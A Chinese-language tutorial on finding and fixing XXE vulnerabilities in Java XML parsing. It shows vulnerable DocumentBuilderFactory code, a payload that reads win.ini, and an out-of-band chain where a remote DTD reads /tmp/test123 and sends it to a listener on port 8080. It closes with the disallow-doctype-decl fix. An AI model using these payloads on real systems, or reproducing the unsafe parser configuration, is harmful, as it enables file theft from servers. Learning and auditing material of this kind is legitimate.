xxe这种漏洞无论是在php中还是java中,审计起来应该都是有迹可循的,在php中全局搜索特定函数,在java中需要找解析xml文档的类有没有被使用,所以,我们首先需要知道java有哪些常见的解析xml的类。
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.File;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
File file = new File("./payload.xml");
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(file);
// 根据tag名获取标签,是不是很像js中的getElementByTagName函数
NodeList nodeList = doc.getElementsByTagName("person");
Element element = (Element) nodeList.item(0);
System.out.println("姓名:" + element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
System.out.println("年龄:" + element.getElementsByTagName("age").item(0).getFirstChild().getNodeValue());
}
}
其中payload.xml文件内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<person>
<name>axin</name>
<age>&test;</age>
</person>
这样就会读取本机的win.ini文件并打印到控制台:
这个类导致的xxe漏洞感觉挺多的。微信支付,以及CVE-2017-12629都是由于这个类没有进行安全设置导致的。
用一个例子来学习一下这个类怎么导致xxe
import jdk.internal.org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
public class ReadxmlByDom {
private static DocumentBuilderFactory dbFactory = null;
private static DocumentBuilder db = null;
private static Document document = null;
static{
try {
dbFactory = DocumentBuilderFactory.newInstance();
// dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
db = dbFactory.newDocumentBuilder();
} catch (ParserConfigurationException e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException, SAXException, org.xml.sax.SAXException {
document = db.parse(ReadxmlByDom.class.getResourceAsStream("/request.xml"));
NodeList nodeList = document.getElementsByTagName("root");
String nodeValue = nodeList.item(0).getFirstChild().getNodeValue();
System.out.println(nodeValue);
}
}
request.xml如下:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://localhost:8000/attack.xml">
%remote;
]>
<root></root>
attack.xml如下:
<!ENTITY % payload SYSTEM "file:///tmp/test123">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:8080/test?name=%payload;'>">
%int;
%trick;
上面的代码会读取并解析request.xml这个文件,由于没有进行安全配置,所以导致加载远程文件attack.xml,这个文件中的被解析后就会读取本地的/tmp/test123
并把内容发送到http://127.0.0.1:8080/。
我在8080端口用spring boot构建了一个接受数据的web应用,代码如下:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("")
public String hello(String name) {
System.out.println(name);
return "welcome";
}
}
这个应用在接受到数据时,会将数据打印到控制台
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(in);
serFeature是关键,设置了过后,再解析xml时会直接报错,如下:
spring boot 快速创建项目:http://tengj.top/2017/02/26/springboot1/